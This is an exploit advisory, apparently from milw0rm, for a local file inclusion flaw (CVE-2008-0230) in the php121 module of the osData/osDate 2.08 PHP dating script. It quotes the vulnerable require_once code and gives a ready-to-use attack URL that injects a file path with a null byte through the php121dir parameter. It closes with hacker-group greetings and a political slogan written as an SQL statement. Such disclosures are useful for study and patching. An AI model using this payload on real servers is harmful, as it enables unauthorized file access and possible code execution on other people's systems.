osData 2.08 Modules Php121 - Local File Inclusion

Author: Cold Zero
type: webapps
platform: php
port: 
date_added: 2008-01-08 
date_updated:  
verified: 1 
codes: OSVDB-40129;CVE-2008-0230 
tags: 
aliases:  
screenshot_url:  
application_url: 

=========================================================================
osData <= 2.08 Modules Php121 Local File Include Vulnerability
=========================================================================
Found by :
Cold z3ro , http://www.Hackteach.org/cc/
=========================================================================
Download :
http://gscripts.net/free-php-scripts/Dating_Scripts/osDate/details.html
=========================================================================
Bug :
if (file_exists($php121dir . "php121config.php")) {          <= line 34
		require_once($php121dir . "php121config.php");
	} else {
		die ("PHP121 configuration file does not exist!");
}
=========================================================================
About :
osData is php dating script fully integrates with major bulletin boards
(phpBB, vBulletin ) and FlashChat and provides several payment modules,
multiple skins, and free upgrade .
=========================================================================
Usage :
http://host/osData/php121/php121db.php?php121dir=[ File ]%00
=========================================================================
Greets :
Hack Teach Masters And Members , Xp10 Masters
=========================================================================
Plestine Hackers SQl Command :
0 update palestine set palestine = 'Long live My Homeland';
=========================================================================

# milw0rm.com [2008-01-09]